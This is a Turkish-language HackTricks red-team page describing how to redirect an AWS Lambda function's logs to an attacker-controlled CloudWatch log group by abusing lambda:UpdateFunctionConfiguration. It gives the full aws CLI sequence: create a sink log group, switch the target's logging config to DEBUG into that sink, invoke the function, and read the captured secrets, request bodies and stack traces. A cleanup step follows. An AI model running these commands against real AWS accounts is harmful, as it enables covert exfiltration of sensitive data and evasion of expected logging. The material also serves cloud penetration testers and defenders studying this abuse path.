AWS Lambda – Log Siphon ile LoggingConfig.LogGroup Redirection

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bir fonksiyonun loglarını, saldırganın seçtiği bir CloudWatch Logs log group’a yönlendirmek için lambda:UpdateFunctionConfiguration gelişmiş logging kontrollerini kötüye kullanın. Bu, kodu veya execution role’u değiştirmeden çalışır (çoğu Lambda rolü zaten AWSLambdaBasicExecutionRole üzerinden logs:CreateLogGroup/CreateLogStream/PutLogEvents içerir). Eğer fonksiyon secrets/request bodies yazdırıyorsa veya stack traces ile çöküyorsa, bunları yeni log group’tan toplayabilirsiniz.

Gerekli izinler

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (veya mevcut tetikleyicilere güvenin)
  • logs:CreateLogGroup (çoğu zaman fonksiyon rolü bunu içeriyorsa gerekli değildir)
  • logs:FilterLogEvents (olayları okumak için)

Adımlar

  1. Bir sink log group oluşturun
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Hedef fonksiyon loglarını yönlendir
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

LastUpdateStatus Successful olana kadar bekleyin:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. sink’i çağırın ve sink’ten okuyun
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Etki

  • Gizlice tüm uygulama/sistem loglarını kontrolünüzdeki bir log grubuna yönlendirerek, logların yalnızca /aws/lambda/<fn> içine düşeceği beklentisini atlatmak.
  • Exfiltrate işlev tarafından yazdırılan veya hatalarda ortaya çıkan hassas verileri.

Temizlik

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Notlar

  • Logging kontrolleri Lambda’s LoggingConfig (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel) parçasıdır.
  • Varsayılan olarak, Lambda logları /aws/lambda/<function> konumuna gönderir, ancak herhangi bir log group ismine yönlendirebilirsiniz; Lambda (veya execution role) izin veriyorsa bunu oluşturur.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin